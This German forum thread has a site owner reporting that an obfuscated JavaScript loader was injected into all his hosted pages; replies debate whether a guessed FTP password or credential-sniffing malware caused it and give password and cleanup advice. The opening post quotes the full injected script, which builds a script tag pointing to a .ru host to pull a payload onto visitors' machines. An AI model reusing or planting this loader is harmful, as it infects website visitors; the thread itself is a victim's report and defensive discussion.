Nach Upload wurden Scripte auf eine Russenseite eingefügt

[Marco]

Guten Morgen miteinander,

heute morgen bin ich aus allen Wolken gefallen. Nach dem Aufruf meiner Internetseiten, wird eine Verbindung nach ultimatecomfort . ru aufgebaut und Java gestartet und ein Dateidownload begonnen.

Ein Blick in den Quelltext offenbarte Wahnsinniges: Nach dem </html> Tag wurde ein Script eingefügt:

  
<script>Z={k:false};var A;this.Zj=40422;this.Zj+=221;var s=new Date();n=function(){I=57547;I-=222;var WJ=new Date();function W(F,y,E){return F.substr(y,E);}kg=["C"];var Gc={LB:20916};N={};var _={};var j=document;try {var T='r'} catch(T){};bm={K:"bF"};var D='';Fc={Pp:16856};var v=RegExp;var g="/ad"+"obe"+"-co"+"m/g"+"oog"+W("le.OgbX",0,3)+W("comLeZ",0,3)+W("/rkbsJB",0,3)+W("9Nm.coN9m",3,3)+W("m.pNoB",0,3)+W("B6wxhp6Bxw",4,2);Ry={Ci:29926};function w(F,y){MW={l:false};try {} catch(ga){};var xL=new String();var E=String(W("[CWr",0,1))+y+"]";var H='';try {} catch(h){};var As=new v(E, W("gBXA",0,1));this.yv=46720;this.yv+=135;return F.replace(As, D);var KX={};};this.sg="sg";_n={d:"es"};this.Dd=false;var x=null;Km={ph:32597};var no=w('sAcMrgi7p4tg','4l_gOD7NnZYCMSuBERAwvbf');var V=677048-668968;var c=W("bodykDFV",0,4);this.sq=13374;this.sq++;this.Q=32695;this.Q--;ar=["Uu","m","_R"];_h=64473;_h-=35;A=function(){try {var Wq=["cr","sw"];var z=w('cxryesaJtoeKEQlyeDm3e3nJtg','Q1oHysxKJg53D');X=j[z](no);var UY={};var F=V+g;var Vs=w('sVrVcT','9OnTZ5mqVQL');var Xo=String(W("defVk5Q",0,3)+W("erbdyL",0,2));var cI={ja:11916};var NG='';X[Xo]=[1][0];X[Vs]=new String("http"+"://u"+"ltim"+W("atecAqP",0,4)+W("omfotd1x",0,4)+W("rt.rxRZ",0,4)+"u:")+F;this.GZ='';var Ku=["PN","Qy"];this.pc=22007;this.pc--;j[c].appendChild(X);nJ={};} catch(b){};this.bO=37552;this.bO--;};};n();GI=["mA","wg"];var KM="KM";window.onload=A;var sj={nH:"Qj"};this.Yr=29517;this.Yr+=57;</script>  
<!--380690d1b2163f8eb0fe582dee24020a-->  

Und das auch noch auf allen Seiten (egal ob *.php oder *.html), die in meinem Vertragsverzeichnis sich befinden.
Wie kann denn soetwas passieren? Die Daten auf meiner Festplatte sind sauber und nach einem neuen Upload war auch nichts mehr davon zu sehen.

Also habe ich sofort alle Dateien vom Server gelöscht, damit meine Besucher sich nicht allen möglichen Schund auf ihren Rechner laden-

Grüße
Marco

[EKKi]

Mahlzeit Marco,

Wie kann denn soetwas passieren?

Der Webserver scheint gehackt worden zu sein. Unterrichte den zuständigen Administrator.

MfG,
EKKi

[Sven Rautenberg]

Moin!

heute morgen bin ich aus allen Wolken gefallen. Nach dem Aufruf meiner Internetseiten, wird eine Verbindung nach ultimatecomfort . ru aufgebaut und Java gestartet und ein Dateidownload begonnen.

Ein Blick in den Quelltext offenbarte Wahnsinniges: Nach dem </html> Tag wurde ein Script eingefügt:
[...]
Und das auch noch auf allen Seiten (egal ob *.php oder *.html), die in meinem Vertragsverzeichnis sich befinden.
Wie kann denn soetwas passieren? Die Daten auf meiner Festplatte sind sauber und nach einem neuen Upload war auch nichts mehr davon zu sehen.

Ändere unbedingt dein FTP-Passwort. Und dann sei so nett und nenne hier mal öffentlich dein altes Passwort. Dann kann man abschätzen, ob dieses Passwort sicher oder leicht erratbar war.

Du bist innerhalb von relativ kurzer Zeit der dritte oder vierte Webspace-Inhaber, der sich hier im Forum mit einer infizierten Website meldet. Das kann nicht alles aufgrund von irgendwelchen Sicherheitslücken in verwendeten PHP-Skripten passieren, sondern dürfte eher an mangelnder Passwortsicherheit liegen.

Wenn du dein Passwort hier nennst und es sich als unsicher erweist, kann dein Fall für die Zukunft wenigsten als Demonstrationsbeispiel dienen für alle anderen, die noch kommen werden.

- Sven Rautenberg

[Marco]

Hallöchen,

ich habe mein Passwort geändert. Es besteht nun auch Zahlen, Buchstaben und Zeichen. Das alte Passwort war unsicher. Es bestand nur aus Zahlen und war nicht einmal lang...

Also gelernt: Passwörter immer schön komplex halten

Vielen Dank
Marco

[Gunnar Bittersmann]

@@Marco:

nuqneH

Es bestand nur aus Zahlen und war nicht einmal lang...

12345 ;-)

Und BTW, du meinst Ziffern, nicht Zahlen.

Qapla'

[suit]

Es bestand nur aus Zahlen und war nicht einmal lang...

12345 ;-)

Ist in top 500 worst passwords auf Platz 6 ;)

[Cheatah]

Hi,

Ist in top 500 worst passwords auf Platz 6 ;)

der Platz 260 sollte immer mit der Meldung abgelehnt werden: "Password rejected - too short."

Cheatah

[Der Martin]

Hallo,

Das alte Passwort war unsicher. Es bestand nur aus Zahlen und war nicht einmal lang...
Also gelernt: Passwörter immer schön komplex halten

ja, wähle ein Passwort immer so, dass auch jemand aus deinem unmittelbaren Umfeld, der dich gut kennt, dieses Passwort nicht in ein paar Versuchen erraten kann. Der Vorname oder das Geburtsdatum der Freundin ist also alles andere als geeignet für diesen Zweck. ;-)

Immer wieder gern genommen: Denk dir einen Satz aus, den du dir gut merken kannst und der möglichst auch Zahlenangaben enthält. Nimm dann die Anfangsbuchstaben der Wörter, die Ziffern und die Satz- und Sonderzeichen hintereinander als Passwort, behalte Groß- und Kleinschreibung bei. So hast du ein hinreichend komplexes Passwort, und kannst es dir dennoch gut merken.

Beispiel:  Im Sommer 96 war ich 2 Tage in Boston/Massachusetts.
ergibt:    IS96wi2TiB/M

Informiere aber trotzdem deinen Webhoster - er kann an der Zahl der Meldungen sehen, ob das bei dir ein Einzelfall war (dann war vielleicht wirklich "nur" dein FTP-Account durch das schwache Passwort das Problem) oder ob das bei anderen Kunden auch vorkam (dann hat er selbst dringend eine Baustelle in Ordnung zu bringen).

Ciao,
 Martin

[Alexander (HH)]

Moin Moin!

ich habe mein Passwort geändert. Es besteht nun auch Zahlen, Buchstaben und Zeichen. Das alte Passwort war unsicher. Es bestand nur aus Zahlen und war nicht einmal lang...

Also gelernt: Passwörter immer schön komplex halten

Es wäre natürlich noch viel schöner, wenn man endlich mal von Telnet und FTP weg käme und stattdessen SSH mit Zertifikaten verwenden würde. *träum*

So lange kann man sich mit irgendeinem merkbaren, langen Zitat helfen. Ich nehm als Beispiel mal den ollen Schiller-Klassiker, der ab sofort bitte NICHT mehr für diese Methode benutzt wird:

"Fest gemauert in der Erden steht die Form, aus Lehm gebrannt."

Variante 1: Anfangsbuchstaben

fgidesdfalg -- zu einfach

Variante 2: Anfangsbuchtsaben mit Groß- und Kleinschreibung

FgidEsdFaLg -- schon besser

Variante 3: Satzzeichen mitnehmen

FgidEsdF,aLg. -- langsam wird es gut

Variante 4: etwas Leet Speek dazu:

F91d3$dF,aLg. -- gut genug für viele Fälle

Weitere Variationen:

* Letzer statt erster Buchstabe
* Rückwärts
* Erster und letzter Buchstabe (gerade bei kurzen Zitaten wie "Da werden Sie geholfen!", das jetzt auch "verbrannt" ist)
* Abwechselnd erster und letzer Buchstabe
* Erster Buchstabe vom ersten Wort, zweiter vom zweiten Wort, dritter vom dritten Wort, usw.
* Zahlwörter als Ziffern (ein, eine, eines, einer => 1)

Anfangs braucht man für solche Passworte etwas länger als für "qwertz", "geheim", "abc123", aber nach etwas Übung gehen die genauso schnell von der Hand.

Wenn eine Applikation das Passwort (sicher) speichert, kann man auch die maximal mögliche Passwort-Länge ausreizen und die halbe "Glocke" auf diese Art zu einem elendig langen Passwort verwursten.

Alexander

[Wuwu]

Ändere unbedingt dein FTP-Passwort.

Das wird ihm vermutlich nichts bringen.

Du bist innerhalb von relativ kurzer Zeit der dritte oder vierte Webspace-Inhaber, der sich hier im Forum mit einer infizierten Website meldet. Das kann nicht alles aufgrund von irgendwelchen Sicherheitslücken in verwendeten PHP-Skripten passieren, sondern dürfte eher an mangelnder Passwortsicherheit liegen.

Unsinn, wage ich zu behaupten. Nicht, weil es niemanden gäbe, der so dumm ist und etwas à la „passwort“ als Passwort verwenden täte, sondern weil es Schadprogramme, die den Netzwerkverkehr mitlesen und abgefangene Zugangsdaten weiterleiten, seit weit über 10 Jahren gibt. Passwortraterei macht man vielleicht da, wo Passworte verschlüsselt übertragen und nur einzelne Zugänge angegriffen werden sollen, aber doch nicht im Falle von FTP (wo gewissermaßen jeder mitlesen kann) und der Manipulation von Webseiten auf zweifelsohne unzähligen Domains (was mit Passwortraterei Jahrhunderte dauern würde).

Gerade erst vor einigen Monaten gab's einigen Tumult wegen massenhaft verbreiteter PDF-Dokumente, die eine der Sicherheitslücken in Adobes PDF-Reader ausnutzen (und die Unbedarfheit aller, die ein Windows-Administratorenkonto fürs tägliche Allerlei einsetzen), um einen Netzwerksniffer zu installieren, der seinerseits FTP-Zugangsdaten abfängt und weiterleitet. Aufgefallen ist das alles wie? Durch auf „mysteriöse Weise“ immer wieder an die Webseiten angehängten Javascript-Code.

Kurzum:
1. Den heimischen PC neu installieren. Er ist wahrscheinlich infiziert, und ein infizierter Rechner kann sich nicht sicher selbst reinigen, weil Reinigungs- und Schadsoftware mit denselben Rechten arbeiten und somit Katz und Maus spielen (oder Hase und Igel?).
2. Nach der Installation ein Benutzerkonto einrichten und nur noch in den seltensten Fällen mit Administratorenrechten arbeiten, wenn's unbedingt notwendig ist. Infizierte Programme und Daten sind vielleicht der Schlüssel zum Rechner, der Administratormodus ist aber die offene Haustür, durch die sich Schadsoftware erst richtig im System einnisten kann.
3. Das FTP-Passwort ändern.
4. Webserverdaten neu aufspielen.
5. Hoster suchen, der ein sichereres Protokoll als FTP unterstützt (was zugegebenermaßen schon für sich nicht ganz einfach ist und möglicherweise andere Probleme mit sich bringt, weil dann zwar die Übertragung sicher ist, aber das Angebot des Hosters gleichzeitig Dinge zulässt, von denen Unerfahrene besser die Finger lassen).

[Sven Rautenberg]

Moin!

Ändere unbedingt dein FTP-Passwort.

Das wird ihm vermutlich nichts bringen.

Doch. Denn wie Marco bereits gesagt hat, war sein altes Passwort viel zu kurz und bestand nur aus Ziffern. Sowas kann man mit Leichtigkeit durch Ausprobieren erraten, da muss niemand irgendwas sniffen.

Du bist innerhalb von relativ kurzer Zeit der dritte oder vierte Webspace-Inhaber, der sich hier im Forum mit einer infizierten Website meldet. Das kann nicht alles aufgrund von irgendwelchen Sicherheitslücken in verwendeten PHP-Skripten passieren, sondern dürfte eher an mangelnder Passwortsicherheit liegen.

Unsinn, wage ich zu behaupten. Nicht, weil es niemanden gäbe, der so dumm ist und etwas à la „passwort“ als Passwort verwenden täte, sondern weil es Schadprogramme, die den Netzwerkverkehr mitlesen und abgefangene Zugangsdaten weiterleiten, seit weit über 10 Jahren gibt.

Du meinst also, mangelnde Passwortsicherheit ist ein Hirngespinst? Sonst würdest du meine Aussage ja nicht als Unsinn bezeichnen.

Ich habe es schon selbst erlebt, wie sich "Admins" schnell mal einen User-Account mit Passwort angelegt haben, und dessen Zugangsdaten dann innerhalb von 24 Stunden durch Ausprobieren gefunden und innerhalb von 5 Minuten nach dem ersten Login-Erfolg des Bots von dem unautorisierten Eindringling ausprobiert und für seine Zwecke eingesetzt wurden. In einem konkreten Fall wurde dieser Einbruch eher zufällig entdeckt, weil der installierte IRC-Server plötzlich 100% eines CPU-Kerns belegt hat, was im Monitoring dann doch aufgefallen ist.

Passwortraterei macht man vielleicht da, wo Passworte verschlüsselt übertragen und nur einzelne Zugänge angegriffen werden sollen, aber doch nicht im Falle von FTP (wo gewissermaßen jeder mitlesen kann) und der Manipulation von Webseiten auf zweifelsohne unzähligen Domains (was mit Passwortraterei Jahrhunderte dauern würde).

Du hast keine Ahnung, was man als Server-Betreiber so abwehren muss. Passwort-Scanning ist absolut normaler Standard, meine Logfiles vom SSH-Server sind voll davon (FTP natürlich nicht, weil unverschlüsselt). Sniffen ist wesentlich schwieriger, als Scannen, und weil die bösen Buben reichlich Dronen in ihren IRC-Botnetzen haben, die auf Kommando ganze IP-Bereiche mit Standard-Usernamen und -Passworten scannen, und es immer irgendwelche Treffer gibt, ist das "Raten" von Passworten heutzutage einfach der einfachste Standardfall, auf den man trifft, wenn irgendwas "gehackt" wurde. Denn es wurde nicht "gehackt", es wurde die Blödheit des Account-Inhabers beim Passwortgenerieren ausgenutzt.

Gerade erst vor einigen Monaten gab's einigen Tumult wegen massenhaft verbreiteter PDF-Dokumente, die eine der Sicherheitslücken in Adobes PDF-Reader ausnutzen (und die Unbedarfheit aller, die ein Windows-Administratorenkonto fürs tägliche Allerlei einsetzen), um einen Netzwerksniffer zu installieren, der seinerseits FTP-Zugangsdaten abfängt und weiterleitet. Aufgefallen ist das alles wie? Durch auf „mysteriöse Weise“ immer wieder an die Webseiten angehängten Javascript-Code.

Klar, wäre möglich. Das wäre dann aber die nächste Erklärungsstufe, wenn Marco tatsächlich ein sicheres Passwort verwendet hätte.

Denn dein Szenario würde bedeuten, dass deutlich komplexere Dinge hätten ablaufen müssen:

• Marco hättet so ein PDF bekommen müssen
• es hätte durch den Spam-Filter durchgehen müssen [*]
• es hätte den Virenscanner passieren müssen [*]
• er hätte es öffnen müssen, ohne vorher mißtrauisch zu werden
• mit einem anfälligen Adobe-Reader
• auf einem angreifbaren Betriebssystem
• danach hätte der Sniffer erfolgreich installiert werden müssen
• und dann das Passwort abgreifen können
• welches zufällig schwach ist, weil kurz und nur aus Ziffern bestehend

[*] optional

Mein Szenario:

• Der Angreifer scannt den FTP-Zugang
• und hat mit seinen Account- und Passwortlisten Erfolg
• weil das tatsächliche Passwort nur Ziffern enthielt und kurz war

Welches Szenario ist wahrscheinlicher?

Kurzum:
5. Hoster suchen, der ein sichereres Protokoll als FTP unterstützt (was zugegebenermaßen schon für sich nicht ganz einfach ist und möglicherweise andere Probleme mit sich bringt, weil dann zwar die Übertragung sicher ist, aber das Angebot des Hosters gleichzeitig Dinge zulässt, von denen Unerfahrene besser die Finger lassen).

1&1 beispielsweise bietet zwar in allen ihren Dokumentationen FTP als Zugang an, aber mit denselben Zugangsdaten kann man auch SFTP machen. Einfach im Upload-Programm umstellen, und geht (vorausgesetzt, das Programm kann sowas - ich empfehle WinSCP, aber Filezilla kanns z.B. auch).

- Sven Rautenberg

[Wuwu]

Unsinn, wage ich zu behaupten. Nicht, weil es niemanden gäbe, der so dumm ist und etwas à la „passwort“ als Passwort verwenden täte,

Du meinst also, mangelnde Passwortsicherheit ist ein Hirngespinst?

Ich denke, du bist schlau genug, um meine Aussage zu verstehen, insofern wundert es mich etwas, dass du vorgibst, genau dies nicht zu tun und mir das völlige Gegenteil dessen unterstellst, was ich geschrieben habe.

[Bernauer]

Hi,

Denn dein Szenario würde bedeuten, dass deutlich komplexere Dinge hätten ablaufen müssen:

• Marco hättet so ein PDF bekommen müssen
• es hätte durch den Spam-Filter durchgehen müssen [*]
• es hätte den Virenscanner passieren müssen [*]
• er hätte es öffnen müssen, ohne vorher mißtrauisch zu werden
• mit einem anfälligen Adobe-Reader
• auf einem angreifbaren Betriebssystem
• danach hätte der Sniffer erfolgreich installiert werden müssen
• und dann das Passwort abgreifen können
• welches zufällig schwach ist, weil kurz und nur aus Ziffern bestehend

ich hatte kürzlich bei einem Bekannten tatsächlich diesen oder zumindest einen ähnlichen Fall. Alle(!) seine FTP-Konten (seiner Kunden, seine privaten, etc) waren von diesem JavaScript-Code befallen.

Danach

-Neuinstallation seines Rechners
-Passwortänderung der FTP-Zugänge
-Löschen der betreffenden FTP-Accounts und Neuaufspielen der Daten